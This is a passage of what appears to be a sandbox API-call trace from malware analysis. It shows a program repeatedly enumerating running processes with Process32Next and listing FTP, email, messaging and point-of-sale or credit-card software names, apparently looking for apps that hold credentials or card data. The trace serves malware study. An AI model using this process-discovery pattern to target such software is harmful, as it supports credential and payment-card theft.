pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0271.495] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0271.497] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0271.500] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0271.502] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0271.505] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0271.508] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0271.511] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0271.512] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0271.514] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0271.516] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0271.518] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0271.520] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0271.523] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0271.525] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0271.527] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0271.530] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0271.533] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0271.572] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0271.582] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0271.665] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0271.669] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0271.671] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0271.675] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0271.678] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0271.682] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0271.684] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0271.690] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0271.693] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0271.696] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0271.699] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0271.702] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0271.705] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0271.707] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0271.711] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0271.715] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0271.718] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0271.720] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0271.723] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0271.726] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0271.729] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0271.732] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0271.735] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0271.738] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0271.740] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0271.743] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0271.746] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0271.749] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0271.751] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0271.754] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0271.757] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0271.790] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0271.793] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0271.796] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0271.798] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0271.803] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0271.806] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0271.809] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0271.811] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0271.814] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0271.827] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.831] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0271.834] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0271.836] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0271.839] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0271.841] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0271.843] CloseHandle (hObject=0x21cc) returned 1 [0271.843] Sleep (dwMilliseconds=0x64) [0271.845] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0271.861] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.866] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.868] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.870] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.873] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.875] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.993] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.996] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.999] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.001] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.003] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.006] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.009] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.011] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.014] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.016] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.019] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.022] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, 